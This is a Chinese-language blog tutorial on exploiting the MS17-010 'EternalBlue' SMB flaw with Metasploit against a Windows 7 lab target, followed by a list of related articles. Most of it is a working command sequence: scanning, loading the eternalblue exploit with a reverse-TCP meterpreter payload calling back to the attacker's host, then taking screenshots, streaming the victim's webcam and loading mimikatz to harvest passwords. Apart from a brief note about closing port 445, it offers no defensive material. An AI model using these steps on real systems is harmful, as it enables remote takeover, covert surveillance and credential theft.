今天就跟大家分享下刚刚学习到利用MSF框架快速搞定“MS017-010”漏洞。其实我们这里所说的使用MSF 实现 “永恒之蓝”的快速攻击，就是利用Metasploit中针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器。

445端口简介：

445端口是一个毁誉参半的端口，有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机，但也正是因为有了它，黑客们才有了可乘之机，他们能通过该端口偷偷共享你的硬盘，甚至会在悄无声息中将你的硬盘格式化掉! 2017年10月，由于病毒"坏兔子"来袭，国家互联网应急中心等安全机构建议用户及时关闭计算机以及网络设备上的445和139端口。

准备：

Kali系统版本：2.0 IP：192.168.0.129
Win7系统 IP：192.168.0.130 开放端口：445
MSF框架版本：4.14.17版本以上
安装更新metasploit

实战攻击：

Step1:查看MSF框架版本

在终端输入msfconsole

Step2: 安装更新metasploit

终端输入apt-get install metasploit-framework

Step3:漏洞模块路经查询

在终端输入：search ms17-010

Step4：加载扫描模块

use auxiliary/scanner/smb/smb_ms17_010

show options

set rhosts 192.168.0.130 (靶机的IP)

exploit

Step5：加载攻击模块并配置参数

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

show options

set rhost 192.168.0.130 (靶机的IP)

set lhost 192.168.0.129 (发起攻击的主机IP)

set lport 443 (监听的端口)

Step6：发起攻击，成功会反弹shell

输入run或者exploit

Meterpreter功能展现

1.捕捉桌面：

meterpreter >screenshot

2.视屏开启

meterpreter > webcam_stream

kali会自动打开浏览器播放被攻击电脑的摄像头,被攻击者的摄像头也会亮起来

3.获取系统管理密码

Step1：载入mimikatz

meterpreter > load mimikatz

Step2:使用命令wdigest获取密码

Meterpreter功能有很多，这里就不一一的示范了，有兴趣的可以自己去测试下。

永恒之蓝漏洞（EternalBlue）相关推荐

【MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6】
MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6 文章目录 MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-01 ...
EternalBlue永恒之蓝漏洞（MS17-010）复现
测试环境靶机: Windows7 IP:192.168.5.90 开放445端口关闭防火墙攻击机:Windows10/kali IP:19 ...
利用永恒之蓝入侵服务器复制文件,永恒之蓝漏洞利用复现(示例代码)
一.环境搭建: IP地址系统信息备注角色 192.168.0.244 win7旗舰版(未安装MS17-010补丁版本) 需开启445端口及SMB协议靶机 192.168.0.105 win7旗 ...
linux 会不会受到永恒之蓝漏洞,永恒之蓝漏洞复现(ms17-010)
永恒之蓝漏洞复现(ms17-010) 漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机 ...
永恒之蓝漏洞ms17-010
本示例主要提供学习使用,不得用于违法犯罪目录什么是永恒之蓝漏洞复现: 1.信息收集 2.进入MSF利用永恒之蓝漏洞模块 3.后渗透阶段什么是永恒之蓝永恒之蓝是指2017年4月14日晚,黑客团 ...
kali 利用msf通过win7永恒之蓝漏洞获取权限
kali 利用msf通过win7永恒之蓝漏洞获取权限老师留的信息安全课大作业:要通过漏洞来实现原本权限做不到的事本菜狗就选了永恒之蓝漏洞来应付下,也是第一次搞这种网安类型的实验,下面正文的描述中应 ...
MS17-010永恒之蓝漏洞利用，win32安装，windows 7 32位
漏洞复现:MS17-010 漏洞利用的条件:1.靶机开启445端口(如果未打开该端口将会攻击失败,百度打开445端口) 2.关闭防火墙靶机:windows 7(未知X32位还是X64位) ip:19 ...
【网络安全】MS17-010“永恒之蓝”漏洞的利用
导语最近学期末进行网络安全实训,老师要求每个小组选择一个方向进行研究,本篇将讲述"永恒之蓝"漏洞的简单利用. 一.实验原理 Eternalblue通过TCP端口445和139来利 ...
永恒之蓝漏洞分析与防护技术
前言自从上次快把HEVD栈溢出的博客写完,不小心手贱点关了,结果菜鸡的我一顿操作都没找回来,就不想写博客了(后来大佬说使用windbg附加,找到那块内存,dump出来就可以还原了,自己还是太年轻呀) ...
【漏洞复现】永恒之蓝漏洞(MS17-010)
一.MS17-010 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开 ...

永恒之蓝漏洞（EternalBlue）

445端口简介：

准备：

实战攻击：

Meterpreter功能展现

永恒之蓝漏洞（EternalBlue）相关推荐

最新文章

热门文章